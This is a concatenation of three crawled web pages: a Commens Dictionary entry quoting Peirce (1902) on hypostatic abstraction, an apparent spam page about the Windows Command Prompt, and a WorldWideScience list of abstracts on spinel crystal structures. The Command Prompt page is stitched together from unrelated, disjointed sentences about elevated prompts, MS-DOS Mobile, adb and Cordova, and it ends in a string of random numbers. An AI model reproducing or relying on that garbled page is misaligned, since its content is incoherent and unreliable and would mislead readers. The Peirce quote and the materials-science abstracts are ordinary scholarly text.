http://commens.org/dictionary/entry/quote-minute-logic-chapter-iii-simplest-mathematics-4	# The Commens DictionaryQuote from ‘Minute Logic: Chapter III. The Simplest Mathematics’ Quote: The most ordinary fact of perception, such as “it is light,” involves precisive abstraction, or prescission. But hypostatic abstraction, the abstraction which transforms “it is light” into “there is light here,” which is the sense which I shall commonly attach to the word abstraction (since prescission will do for precisive abstraction) is a very special mode of thought. It consists in taking a feature of a percept or percepts (after it has already been prescinded from the other elements of the percept), so as to take propositional form in a judgment (indeed, it may operate upon any judgment whatsoever), and in conceiving this fact to consist in the relation between the subject of that judgment and another subject, which has a mode of being that merely consists in the truth of propositions of which the corresponding concrete term is the predicate. Thus, we transform the proposition, “honey is sweet,” into “honey possesses sweetness.” Date: 1902 References: CP 4.235 Citation: ‘Hypostatic Abstraction’ (pub. 18.07.15-19:06). Quote in M. Bergman & S. Paavola (Eds.), The Commens Dictionary: Peirce's Terms in His Own Words. New Edition. Retrieved from http://www.commens.org/dictionary/entry/quote-minute-logic-chapter-iii-simplest-mathematics-4. Posted: Jul 18, 2015, 19:06 by Mats Bergman	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8957962393760681, "perplexity": 4782.316315874458}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710698.62/warc/CC-MAIN-20221129132340-20221129162340-00836.warc.gz"}
https://arcojaver.firebaseapp.com/897.html	# Command prompt for windows phone 8 Command prompt is an important part of windows operating system for many years a lot of operations related to the system management is used to perform with the help of this tool. In the power user task menu, select either command prompt or command prompt admin. To use them as an alternative to the cli, you need to download this version of cordova from cordova. Disable command prompt in windows 7, windows 8, and windows 10 how to enable or disable command prompt in windows 7, windows 8, and windows 10 a command prompt is an entry point for typing computer commands in the command prompt window. Open command prompt from the file explorer address bar. This tutorial will show you how to open an elevated command prompt that will run as administrator with full administrator rights in windows 8, windows rt, windows 8. When i type ipconfig in the command prompt, it shows two different ipv4 addresses and i cant tell which is the correct one for my computer that will allow me to test the app on a device. Windows 8 has two modes the new metro mode and the old traditional windows mode. A command prompt is an entry point for typing computer commands in the command prompt window. Its important to know that the commands in windows 10, 8, 7, vista, and xp are called cmd commands or command prompt commands, and the commands in windows 9895 and msdos are called dos commands. Developer command prompt for visual studio microsoft docs. This answer shows how to switch the character encoding in the windows console to utf8 code page 65001, so that shells such as cmd. How to open an elevated command prompt in windows 8. Syntax of this command is explained below with some examples. Open command prompt to access folders of a usb connected. Follow this article to check out the command prompt tricks and hacks. Type cmd and then click ok to open a regular command prompt. Copy the apk file or android app now install in the adb folder and then type adb install to install apk file. Due to significant differences between the user interface in windows 8 and the user interface in previous versions of windows, new windows 8 users may have difficulty locating tools including the command prompt. Our guide to the new msdos for mobile app for windows phone. Similar to linux command line, the command prompt in windows nt windows x, 7, 8, 8. Camera type camera to launch the ms dos camera app and take photos in ascii, cga, and blackand. A to z list of windows cmd commands command line reference. Im tring to test my windows phone 8 app on an actual device, but i need the ip address of my computer in order to do this. I want to access my windows phone device from my pcs command prompt windows 8. In android it works fine but in windows phone 8 it. Weve included all of them in this list to help show changes in commands from operating system to operating system. By typing commands at the command prompt, you can perform tasks on your computer without using the. Choose developer command prompt for vs 2019 or the command prompt you want to use. This program is located in the start menu, and can be opened with the command run command. Hit start, type command, and youll see command prompt listed as the main result. The command prompt has long had a fixed spot in the windows start menu as well. Disable command prompt in windows 7, windows 8, and. You can also open an administrative command prompt using just the start menu or start screen in windows 8. When we launch command prompt, the default directory it opens with is. How to resetforgot lost windows passwords using command prompt cmd duration. A computer is a combination of hardware and software. Currently in this article we are providing you some of the best command prompt tricks, hacks, codes and secrets for windows users of versions xp, 7, 8, and 10. How to make a phone call from command prompt on window. Today, microsoft released an windows store app called msdos mobile. How to get to an msdos prompt or windows command line. Theres a basic shell program which supports cmdlike commands, though it isnt actually. This application completelly native offline application, so you dont have to get. In order to assign a drive letter to a removable device, that device must support ums usb mass storage protocol. For some commands and options to work in the windows vista and 7 command line, you must run the command line as administrator. To run a dos application in windows 8 requires a little bit of trick. In windows 8 you can open administrative command prompt from your task manager, quick access menu and through windows 8 apps search. The command prompt is very useful for us developers to run quick applications and commands. How to open command prompt windows 10, 8, 7, vista, xp. Powershell or other legit console on windows 10 mobile windows. Access the command prompt from windows 8 recovery drive. Use this solution also for windows server 2008 and. The windows phone commandline tools support creating, building, and running new projects. How to install android apps on windows phone windows 10. The cordova commandline utility is a highlevel tool that allows you to build applications across several platforms at once. By typing commands at the command prompt, you can perform tasks on your computer without using the windows graphical interface. It will automatically go in to search mode and will search for what you typed cmd. Nowadays microsoft promotes own more advanced powershell console, but we are sure that command prompt will save its own important role in nearest future. But if you need to launch command prompt with administrative privilege, then there are other methods to do that. You can open event viewer either via a command line. Make sure you have a windows installation disk on hand. Command prompt in windows 8 where do i find command prompt for windows 8. Under windows 7 and windows 10, the program is found in the system tools folder. Im implementing an app using javascript and i have a problem with the command prompt. This tutorial will show you different ways to open a command prompt in windows 10. Windows device logs can be retrieved from windows pc and phone using tools like event viewer and. The windows command line beginners guide gives users new to the windows command line an overview of the command prompt, from simple tasks to network configuration. Accessing windows phone device from command prompt. How to open the command prompt as administrator in windows. Using various commands, you can ask your windows os to perform desired tasks. However, the older and very similar msdos prompt does. Using windows explorer, navigate to the directory in which you need the command prompt. Its not as simple as to just doubleclick on the program and use it. With windows 8, microsoft replaced the start menu with a start screen. In versions of windows released before windows xp, like windows 98 and windows 95, command prompt does not exist. You can follow the question or vote as helpful, but you cannot reply to this thread. Microsoft launches msdos mobile for lumia smartphones. This will bring up the standard contextual menu but behold. Tips for changing directories in windows command line. How to get windows device logs from a windows machine hexnode. Open administrative command prompt in windows 8 three. Now, msdos command prompt is available on windows phone mobile 8 and above. How to open a command prompt on an android phone quora. Access the command prompt from windows 8s recovery drive and use it to recover data. Alternatively, you can start typing the name of the command prompt in the search box on the taskbar, and choose the result you want as the result list starts to display the search matches. I figured out couple of ways to launch the command prompt in windows 8. When you open an elevated command prompt, your working directory with be c. Open command prompt here in windows 8 informaticstech. In windows command prompt, we can change the directory using the command cd. If, by contrast, your concern is about the separate aspect of the limitations of unicode. How can i open a command prompt and change directory to this device. Now, while holding shift, right click anywhere in the white area by that, i mean not on any of the files. Launch the command prompt with or without administrative rights directly at any folder from windows explorer. 1018 985 1579 1106 1597 353 1010 564 1519 1337 437 439 893 1113 423 772 694 1646 1260 323 592 878 1579 937 1653 251 1205 611 435 115 332 1207 1437 401 1132 1083 1489 108 638 533	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8602262139320374, "perplexity": 2563.7570928814944}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572304.13/warc/CC-MAIN-20220816120802-20220816150802-00340.warc.gz"}
https://worldwidescience.org/topicpages/s/single-phase+spinel+structure.html	#### Sample records for single-phase spinel structure 1. Hyperfine Interactions in Ferrites with Spinel Structure OpenAIRE Chlan, Vojtěch 2013-01-01 Title: Hyperfine Interactions in Ferrites with Spinel Structure Author: Vojtěch Chlan Faculty of Mathematics and Physics, Charles University in Prague Supervisor: Prof. RNDr. Helena Štěpánková, CSc. Abstract: Ferrite systems with spinel structure, manganese ferrite, lithium ferrite and magnetite, are studied experimentally by nuclear magnetic resonance (NMR) spectroscopy and from the first principles by electron structure calculations based on density functional theory (DFT). Manganese ferrit... 2. Improved PLL structures for single-phase grid inverters DEFF Research Database (Denmark) Ciobotaru, Mihai; Teodorescu, Remus; Blaabjerg, Frede 2005-01-01 of the reference signals. This paper presents two improved phase-locked-loop (PLL) methods for single-phase grid connected systems. The investigated PLL methods are based on a transport delay method and an inverse Park transformation method. The improvements in the case of using the delay-based PLL are: non......-frequency dependent and better filtering of the harmonics. For the other investigated PLL method based on inverse Park transformation the improvement consists of better filtering of the harmonics. Experimental results validate the effectiveness of the two proposed methods.... 3. Dynamics Assessment of Advanced Single-Phase PLL Structures DEFF Research Database (Denmark) 2013-01-01 , and desired performance under frequency-varying and harmonically distorted grid conditions. Despite the wide acceptance and use of these two advanced PLLs, no comprehensive design guidelines to fine-tune their parameters have been reported yet. Through a detailed mathematical analysis it is shown......Recently, several advanced phase locked loop (PLL) techniques have been proposed for single-phase applications. Among these, the Park-PLL, and the second order generalized integrator (SOGI) based PLL are very attractive, owing to their simple digital implementation, low computational burden... 4. Structural modifications of spinels under radiation International Nuclear Information System (INIS) Quentin, A. 2010-12-01 This work is devoted to the study of spinel structure materials under radiation. For that purpose, samples of polycrystalline ZnAl 2 O 4 and monocrystalline MgAl 2 O 4 were irradiated by different heavy ions with different energies. Samples of ZnAl 2 O 4 were studied par electron transmission microscopy, and by grazing incidence X-Ray diffraction and Rietveld analysis. Samples of MgAl 2 O 4 were studied by optical spectroscopy. Most of the results concern amorphization and crystalline structure modification of ZnAl 2 O 4 especially the inversion. We were able to determine a stopping power threshold for amorphization, between 11 keV/nm and 12 keV/nm, and also the amorphization process, which is a multiple impacts process. We studied the evolution of the amorphous phase by TEM and showed a nano-patterning phenomenon. Concerning the inversion, we determined that it did happen by a single impact process, and the saturation value did not reach the random cation distribution value. Inversion and amorphization have different, but close, stopping power threshold. However, amorphization seems to be conditioned by a pre-damage of the material which consists in inversion. (author) 5. Strain-hardening in nano-structured single phase steels: mechanisms and control. Science.gov (United States) Bouaziz, O; Barbier, D 2012-11-01 The detrimental effect of grain size refinement on the strain hardening is highlighted in single phase steels. A physical based approach for understanding the underlying mechanisms is presented. In order to overcome this limitation a promising metallurgical route exploiting the thermal stability of mechanically induced twins in austenitic steels has been successfully applied to a stainless grade confirming the opportunity to get nano-structured alloys exhibiting high yield stress with high strain-hardening. 6. Effect of gamma irradiation on the structural and magnetic properties of Co–Zn spinel ferrite nanoparticles International Nuclear Information System (INIS) Raut, Anil V.; Kurmude, D.V.; Shengule, D.R.; Jadhav, K.M. 2015-01-01 Highlights: • Co–Zn ferrite nanoparticles were examined before and after γ-irradiation. • Single phase cubic spinel structure of Co–Zn was confirmed by XRD data. • The grain size was reported in the range of 52–62 nm after γ-irradiation. • Ms, Hc, n B were reported to be increased after gamma irradiation. - Abstract: In this work, the structural and magnetic properties of Co 1−x Zn x Fe 2 O 4 (0.0 ≤ x ≤ 1.0) ferrite nanoparticles were studied before and after gamma irradiation. The as-synthesized samples of Co–Zn ferrite nanoparticles prepared by sol–gel auto-combustion technique were analysed by XRD which suggested the single phase; cubic spinel structure of the material. Crystal defects produced in the spinel lattice were studied before and after Co 60 γ-irradiation in a gamma cell with a dose rate of 0.1 Mrad/h in order to report the changes in structural and magnetic properties of the Co–Zn ferrite nanoparticles. The average crystallite size (t), lattice parameter (α) and other structural parameters of gamma-irradiated and un-irradiated Co 1−x Zn x Fe 2 O 4 spinel ferrite system was calculated from XRD data. The morphological characterizations were performed using scanning electron microscopy (SEM). The magnetic properties were measured using pulse field hysteresis loop tracer by applying magnetic field of 1000 Oe, and the analysis of data obtained revealed that the magnetic property such as saturation magnetization (Ms), coecivity (Hc), magneton number (n B ) etc. magnetic parameters were increased after irradiation 7. Raman spectroscopic studies of lithium manganates with spinel structure CERN Document Server Julien, C M 2003-01-01 Raman scattering spectra of a set of lithium manganospinels Li sub 1 sub - sub x sub + sub z Mn sub 2 sub - sub z O sub 4 with 0 sup<= x sup<= 1 and 0 sup<= z sup<= 0.33 are reported and analysed. Structural changes have been investigated following the evolution of Raman spectra with the concentration of lithium cations. The local structure was characterized as a function of the mean oxidation state of manganese cations. The trigonal distortion of MnO sub 6 octahedra is evidenced by insertion of lithium ions into the [B sub 2]O sub 4 spinel framework. A comparison with tetragonal Mn sub 3 O sub 4 and Fe sub 3 O sub 4 spinels shows the influence of the Jahn-Teller effect on the Raman features for this class of materials. 8. Single-Phase PLLs DEFF Research Database (Denmark) Golestan, Saeed; Guerrero, Josep M.; Quintero, Juan Carlos Vasquez 2017-01-01 Single-phase phase-locked loops (PLLs) are popular for the synchronization and control of single-phase gridconnected converters. They are also widely used for monitoring and diagnostic purposes in the power and energy areas. In recent years, a large number of single-phase PLLs with different...... structures and properties have been proposed in the literature. The main aim of this paper is to provide a review of these PLLs. To this end, the single-phase PLLs are first classified into two major categories: 1) power-based PLLs (pPLLs), and 2) quadrature signal generation-based PLLs (QSG......-PLLs). The members of each category are then described and their pros and cons are discussed. This work provides a deep insight into characteristics of different single-phase PLLs and, therefore, can be considered as a reference for researchers and engineers.... 9. Structure and magnetism of single-phase epitaxial gamma '-Fe4N NARCIS (Netherlands) Costa-Kramer, JL; Borsa, DM; Garcia-Martin, JM; Martin-Gonzalez, MS; Boerma, DO; Briones, F Single phase epitaxial pure gamma(')-Fe4N films are grown on MgO (001) by molecular beam epitaxy of iron in the presence of nitrogen obtained from a radio frequency atomic source. The epitaxial, single phase nature of the films is revealed by x-ray diffraction and by the local magnetic environment 10. Elasticity of some mantle crystal structures. I - Pleonaste and hercynite spinel. Science.gov (United States) Wang, H.; Simmons, G. 1972-01-01 The elasticity of high-pressure mantle phases can be characterized by using data for chemically similar crystal compounds. The single-crystal elastic constants are determined as a function of pressure and temperature for pleonaste spinel and at room conditions for hercynite spinel. The bulk modulus increases from 1.95 Mb for pleonaste spinel to 2.10 Mb for hercynite spinel. Low or negative values of the pressure derivatives of shear constants are characteristic of the spinel structure and imply a low kinetic barrier to phase transformations and diffusion. Compressional and shear velocities of the spinel phase of olivine are estimated as a function of mean atomic weight by using the pleonaste and hercynite data. 11. Single Scattering Detection in Turbin Media Using Single-Phase Structured Illumination Filtering Science.gov (United States) Berrocal, E.; Johnsson, J.; Kristensson, E.; Alden, M. 2012-05-01 This work shows a unique possibility of visualizing the exponential intensity decay due to light extinction, when laser adiation propagates through a homogeneous scattering edium. This observation implies that the extracted intensity mostly riginates from single scattering events. The filtering of this single light scattering intensity is performed by means of a single-phase structured illumination filtering approach. Results from numerical Monte Carlo simulation confirm the experimental findings for an extinction coefficient of μ_e = 0.36 mm^-1. This article demonstrates an original and reliable way of measuring the extinction coefficient of particulate turbid media based on sidescattering imaging. Such an approach has capabilities to replace the commonly used transmission measurement within the intermediate single-to multiple scattering regime where the optical depth ranges between 1 procedure and set-up. Applications of the technique has potential in probing challenging homogeneous scattering media, such as biomedical tissues, turbid emulsions, etc, in situations where dilution cannot be applied and where conventional transmission measurements fail. 12. Magnetic Spinel-Type CoFe2O4 Nanoparticles: Synthesis and Investigation of Structural, Morphological Properties Directory of Open Access Journals (Sweden) Mesut ÖZDİNÇER 2017-05-01 Full Text Available Spinel-type metal oxide nanoparticles were synthesized via co-precipitation approach. Mono ethylene glycol (MEG was used as a capping agent to stabilize the particles and prevent them from agglomeration. The structural, morphological and thermal properties of the calcined sample were characterized by X-ray diffraction (XRD, scanning electron microscopy (SEM, raman spectroscopy and thermal analysis. Energy-dispersive X-ray analysis (EDX has also proved that the element composition was composed of pure single phase and contained Co, Fe and O elements. The mean crystallite size of the prepared ferrite nanoparticles was determined to be in the range of 30-345 nm based on the SEM images. The magnetic measurements of the CoFe2O4 nanoparticles were examined with a vibrating sample magnetometer (VSM at room temperature to determine their magnetic behavior and the magnetic parameters were found. 13. Following the Amphibolite to Greenschist Metamorphic Path through the Structural Parameters of Spinels from Amsaga (Mauritania Directory of Open Access Journals (Sweden) Davide Lenaz 2018-01-01 Full Text Available We investigated the crystal and structural behavior of several Cr-bearing spinels from the Archean chromitites of Amsaga (Mauritania. The chemical and structural data testified a retrograde metamorphism from amphibolite to greenschist facies, witnessed by relative changes in the amount of all the major oxides (Cr, Al, Mg, Fe2+, Fe3+, the relative proportion of Fe3+/Fetot as well as the structural parameters, including the cell edge and the oxygen coordinate. The general agreement between electron microprobe and Mössbauer data indicates that the analyzed spinels are stoichiometric. The structural data revealed that the oxygen positional parameter of amphibole-bearing samples is the highest observed among Cr-bearing spinels with similar Cr# and Mg#. Consequently, it is suggested that a structural study of detrital Cr-spinels could be important in discriminating an amphibole-chromitite source from an ophiolite source. 14. Znx-1CuxMn2O4 spinels; synthesis, structural characterization and electrical evaluation International Nuclear Information System (INIS) Mendez M, F.; Lima, E.; Bosch, P.; Pfeiffer, H.; Gonzalez, F. 2010-01-01 This work presents the structural characterization and electrical evaluation of Zn x-1 Cu x Mn 2 O 4 spinels, which are materials presented as secondary phases into the vari stor ceramic systems. Samples were analyzed by X-ray diffraction, solid-state nuclear magnetic resonance, infrared spectroscopy, scanning electron microscopy and impedance spectroscopy. Although, the addition of copper to the ZnMn 2 O 4 spinel did not produce morphological changes, the structure and electrical behaviors changed considerably. Structurally, copper addition induced the formation of partial inverse spinels, and its addition increases significantly the electrical conductivity. Therefore, the formation of Zn x-1 Cu x Mn 2 O 4 spinels, as secondary phases into the vari stor materials, may compromise significantly the vari stor efficiency. (Author) 15. High resolution diffraction studies with synchrotron radiation on the structure of Li0.95Mn2.05O4 spinel International Nuclear Information System (INIS) Nowicki, W.; Darul, J.; Piszora, P.; Baehtz, C.; Wolska, E. 2005-01-01 Investigations of the structure transformations of lithium deficient Li 0.95 Mn 2.05 O 4 , in the temperature range of 10-1173 K, have been undertaken with X-ray powder diffraction, using synchrotron radiation, at the HASYLAB high-resolution diffractometer (beamline B2). Single phase spinel-like oxide was obtained by a solid state reaction between α-Mn 2 O 3 and Li 2 CO 3 at 1073 K, followed by rapid quenching of the sample in the solid CO 2 . At the room temperature, the lithium deficient sample (with x = 0.95 in Li x Mn 3-x O 4 ) shows a tetragonally distorted spinel lattice, with c/a = 0.98. No phase transition has been observed when temperature decreased and the sample remained tetragonal in the range 300-10 K. A reversible phase transition appears, however, during very mild heating of Li 0.95 Mn 2.05 O 4 above the room temperature. The tetragonal spinel structure (F4 1 /ddm) undergoes a transition into cubic form (Fd3m) at 393 K. A thermal treatment above 573 K causes a partial decomposition of the sample, resulting in a formation of a nearly stoichiometric LiMn 2 O 4 , with the admixture of manganese oxides 16. High-pressure crystal structure investigation of synthetic Fe2SiO4 spinel DEFF Research Database (Denmark) Nestola, F.; Balic Zunic, Tonci; Koch-Müller, M. 2011-01-01 The crystal structure of Fe2SiO4 spinel at room temperature was investigated at seven different pressures by X-ray diffraction, using a diamond anvil cell to examine the influence of Fe substitution on ringwoodite behaviour at high pressure. The results compared with those of a pure Mg endmember...... show that the substitution of Fe into the spinel structure causes only small changes in the compression rate of coordination polyhedra and the distortion of the octahedron. The data show that the compression rate for the octahedron and tetrahedron in (Mg,Fe)2SiO4 can be considered statistically equal... 17. Elucidation of structural, vibrational and dielectric properties of transition metal (Co2+) doped spinel Mg-Zn chromites Science.gov (United States) Choudhary, Pankaj; Varshney, Dinesh 2018-05-01 Co2+ doped Mg-Zn spinel chromite compositions Mg0.5Zn0.5-xCoxCr2O4 (0.0 ≤ x ≤ 0.5) have been synthesized by the high-temperature solid state method. Synchrotron and X-ray diffraction (XRD) studies show single-phase crystalline nature. The structural analysis is validated by Rietveld refinement confirms the cubic structure with space group Fd3m. Crystallite size is estimated from Synchrotron XRD which was found to be 30-34 nm. Energy dispersive analysis confirms stoichiometric Mg0.5Zn0.5-xCoxCr2O4 composition. Average crystallite size distribution is estimated from imaging software (Image - J) of SEM is in the range of 100-250 nm. Raman spectroscopy reveals four active phonon modes, and a pronounced red shift is due to enhanced Co2+ concentration. Increased Co2+ concentration in Mg-Zn chromites shows a prominent narrowing of band gap from 3.46 to 2.97 eV. The dielectric response is attributed to the interfacial polarization, and the electrical modulus study supports non-Debye type of dielectric relaxation. Ohmic junctions (minimum potential drop) at electrode interface are active at lower levels of doping (x rise to a low-frequency semicircle as evidenced from the complex impedance analysis. The low dielectric loss and high ac conductivity of Co2+ doped Mg-Zn spinel chromites are suitable for power transformer applications at high frequencies. 18. Synthesis and structural characterization of defect spinels in the lithium-manganese-oxide system CSIR Research Space (South Africa) Thackeray, MM 1993-10-01 Full Text Available Lithium-manganese-oxides prepared at moderate temperatures are under investigation as insertion electrodes for rechargeable lithium batteries. The structures of two defect-spinel compounds synthesized by the reaction of MnCO3 and Li2CO3 at 400°C... 19. Synthesis and structural characterization of defect spinels in the Lithium-Manganese-Oxide system CSIR Research Space (South Africa) Thackeray, MM 1993-10-01 Full Text Available Lithium-manganese-oxides prepared at moderate temperatures are under investigation as insertion electrodes for rechargeable lithium batteries. The structures of two defect-spinel compounds synthesised by the reaction of MnCO3 and Li2CO3 at 400... 20. Structural, magnetic and electrical properties of nickel doped Mn-Zn spinel ferrite synthesized by sol-gel method Energy Technology Data Exchange (ETDEWEB) Jalaiah, K., E-mail: [email protected] [Department of Physics, Andhra University, Visakhapatnam 530003 (India); Vijaya Babu, K. [Advanced Analytical Laboratory, Andhra University, Visakhapatnam 530003 (India) 2017-02-01 Manganese ferrites (MnFe{sub 2}O{sub 4}) have been of great interest for their remarkable and soft-magnetic properties (low coercivity, moderate saturation magnetization) accompanied by good chemical stability and mechanical hardness. X-ray diffraction analysis confirmed the presence of single phase cubic spinel ferrite with space group Fm3m for all prepared samples. Structural parameters such as lattice constant, crystallite size were calculated from the studies of X-ray diffraction. The morphological analysis of all the compounds is studied using scanning electron microscope. The magnetic properties were measured using electron spin resonance (ESR) and vibrating sample magnetometer (VSM). The results obtained showed the formation of manganese ferrites with an average particle size are in good agreement with previous results and displayed good magnetic properties. The dielectric and impedance properties are studied over a frequency range 20 Hz–1 MHz at room temperature. - Highlights: • We prepared Mn{sub 0.85}Zn{sub 0.15}Ni{sub x}Fe{sub 2}O{sub 4} (x=0.03, 0.06, 0.09, 0.12 and 0.15) nano-ferrite materials by using sol-gel method. • All the compounds characterized by XRD, SEM, VSM, ESR and dielectric studies. • We get lower coercivity values. • We get good results from ESR spectra. 1. Unprecedented Al supersaturation in single-phase rock salt structure VAlN films by Al+ subplantation Science.gov (United States) Greczynski, G.; Mráz, S.; Hans, M.; Primetzhofer, D.; Lu, J.; Hultman, L.; Schneider, J. M. 2017-05-01 Modern applications of refractory ceramic thin films, predominantly as wear-protective coatings on cutting tools and on components utilized in automotive engines, require a combination of excellent mechanical properties, thermal stability, and oxidation resistance. Conventional design approaches for transition metal nitride coatings with improved thermal and chemical stability are based on alloying with Al. It is well known that the solubility of Al in NaCl-structure transition metal nitrides is limited. Hence, the great challenge is to increase the Al concentration substantially while avoiding precipitation of the thermodynamically favored wurtzite-AlN phase, which is detrimental to mechanical properties. Here, we use VAlN as a model system to illustrate a new concept for the synthesis of metastable single-phase NaCl-structure thin films with the Al content far beyond solubility limits obtained with conventional plasma processes. This supersaturation is achieved by separating the film-forming species in time and energy domains through synchronization of the 70-μs-long pulsed substrate bias with intense periodic fluxes of energetic Al+ metal ions during reactive hybrid high power impulse magnetron sputtering of the Al target and direct current magnetron sputtering of the V target in the Ar/N2 gas mixture. Hereby, Al is subplanted into the cubic VN grains formed by the continuous flux of low-energy V neutrals. We show that Al subplantation enables an unprecedented 42% increase in metastable Al solubility limit in V1-xAlxN, from x = 0.52 obtained with the conventional method to 0.75. The elastic modulus is 325 ± 5 GPa, in excellent agreement with density functional theory calculations, and approximately 50% higher than for corresponding films grown by dc magnetron sputtering. The extension of the presented strategy to other Al-ion-assisted vapor deposition methods or materials systems is straightforward, which opens up the way for producing supersaturated single-phase 2. Spinel versus layered structures for lithium cobalt oxide synthesized at 400-degrees-c CSIR Research Space (South Africa) Gummow, RJ 1993-03-01 Full Text Available Rietveld refinements of X-ray data of LiCoO2 prepared at 400-degrees-C and a chemically-delithiated product Li0.5CoO2 using space group symmetries R3mBAR and Fd3m are reported. Refinements in both R3mBAR (layered-type structure) and Fd3m (spinel... 3. Lattice vibrations of materials for lithium rechargeable batteries II. Lithium extraction-insertion in spinel structures International Nuclear Information System (INIS) Julien, C.M.; Camacho-Lopez, M.A. 2004-01-01 Lithiated spinel manganese oxides with various amounts of lithium have been prepared through solid-state reaction and electrochemical intercalation and deintercalation. Local structure of the samples are studied using Raman scattering and Fourier transform infrared spectroscopy. We report vibrational spectra of lithiated manganese oxides Li x Mn 2 O 4 as a function of lithium concentration in the range 0.1≤x≤2.0. Raman and Fourier transform infrared (FTIR) spectral results indicated multiple-phase reactions when the lithium content is modified in the spinel lattice. Lattice dynamics of lithiated spinel manganese oxides have been interpreted using either a classical factor-group analysis or a local environment model. The structural modifications have been studied on the basis of vibrations of LiO 4 tetrahedral and MnO 6 octahedral units when Li/Mn≤0.5, and LiO 4 , LiO 6 , and MnO 6 structural units when Li/Mn>0.5 4. Structural and optical characterization of single-phase γ-In2Se3 films with room-temperature photoluminescence International Nuclear Information System (INIS) Lyu, D.Y.; Lin, T.Y.; Chang, T.W.; Lan, S.M.; Yang, T.N.; Chiang, C.C.; Chen, C.L.; Chiang, H.P. 2010-01-01 The single-phase γ-In 2 Se 3 films with red room-temperature photoluminescence (PL) have been realized by atmospheric metal-organic chemical vapor deposition at the temperature range of 350-500 o C. The crystal structure of the γ-In 2 Se 3 films was determined by X-ray diffraction and Raman spectroscopy. From the temperature dependence of the free exciton line, the room-temperature energy gap of γ-In 2 Se 3 films is found to be about 1.947 eV. At 10 K, the free exciton emissions was observed and located at 2.145 eV. The temperature dependence of the near band-edge emission in the temperature region of 10-300 K has been investigated. The measured peak energy of near band-edge emission redshifts by about 200 meV with increasing temperature from 10 to 300 K, and is expressed by, E g (T) = 2.149 + ((-8.50 x 10 -4 )T 2 /(T + 75.5)) eV. This study was done to complete the reported information about γ-In 2 Se 3 thin films. 5. Low dielectric loss in nano-Li-ferrite spinels prepared by sol–gel ... size goes down to nanometric scale and these deviations widen the scope of applications [13,14]. Pure nano-Li- ... well-defined diffraction peaks, indicating single phase with spinel structure. It can be noted that the ... ing conditions are found to be close to the standard value. ∼8.329 Å [16], indicating that the synthesizing ... 6. Structural Complexity of Layered-spinel Composite Electrodes for Li-ion Batteries Energy Technology Data Exchange (ETDEWEB) Cabana, J.; Yang, X.; Johnson, C.S., Chung, K.-Y.; Yoon, W.-S.; Kang, S.-H.; Thackeray, M.M., Grey, C.P. 2010-08-01 The complexity of layered-spinel yLi{sub 2}MnO{sub 3} {center_dot} (1-y)Li{sub 1+x}Mn{sub 2-x}O{sub 4} (Li:Mn = 1.2:1; 0 = x = 0.33; y = 0.45) composites synthesized at different temperatures has been investigated by a combination of x-ray diffraction (XRD), x-ray absorption spectroscopy (XAS), and nuclear magnetic resonance (NMR). While the layered component does not change substantially between samples, an evolution of the spinel component from a high to a low lithium excess phase has been traced with temperature by comparing with data for pure Li{sub 1+x}Mn{sub 2-x}O{sub 4}. The changes that occur to the structure of the spinel component and to the average oxidation state of the manganese ions within the composite structure as lithium is electrochemically removed in a battery have been monitored using these techniques, in some cases in situ. Our 6Li NMR results constitute the first direct observation of lithium removal from Li{sub 2}MnO{sub 3} and the formation of LiMnO{sub 2} upon lithium reinsertion. 7. Restitic or not? Insights from trace element content and crystal - Structure of spinels in African mantle xenoliths Science.gov (United States) Lenaz, Davide; Musco, Maria Elena; Petrelli, Maurizio; Caldeira, Rita; De Min, Angelo; Marzoli, Andrea; Mata, Joao; Perugini, Diego; Princivalle, Francesco; Boumehdi, Moulay Ahmed; Bensaid, Idris Ali Ahmadi; Youbi, Nasrrddine 2017-05-01 The lithospheric architecture of Africa consists of several Archean cratons and smaller cratonic fragments, stitched together and flanked by polycyclic fold belts. Here we investigate the structure and chemistry of spinels from lithospheric mantle xenoliths from distinct tectonic settings, i.e. from the Saharan metacraton in Libya (Waw-En-Namus) which could show archaic chemical features, Cameroon (Barombi Koto and Nyos Lakes) where the Sub Continental Lithospheric Mantle was modified during the Pan-African event and fluxed by asthenospheric melts of the Tertiary Cameroon Volcanic Line and Morocco (Tafraoute, Bou-Ibalrhatene maars) in the Middle Atlas where different metasomatic events have been recorded. From a structural point of view it is to notice that the Libyan spinels can be divided into two groups having different oxygen positional parameter (u > 0.2632 and u Morocco spinels show a Tc in the range 630-760 °C. About 150 different spinels have been studied for their trace element content and it can be seen that many of them are related to Cr content, while Zn and Co are not and clearly distinguish the occurrences. Differences in the trace element chemistry, in the structural parameters and in the intracrystalline closure temperatures suggest that a different history should be considered for Cameroon, Morocco and LB I and LB II spinels. Even if it was not considered for this purpose, we tentatively used the Fe2 +/Fe3 + vs. TiO2 diagram that discriminate between peridotitic and the so-called "magmatic" spinels, i.e. spinel crystallized from 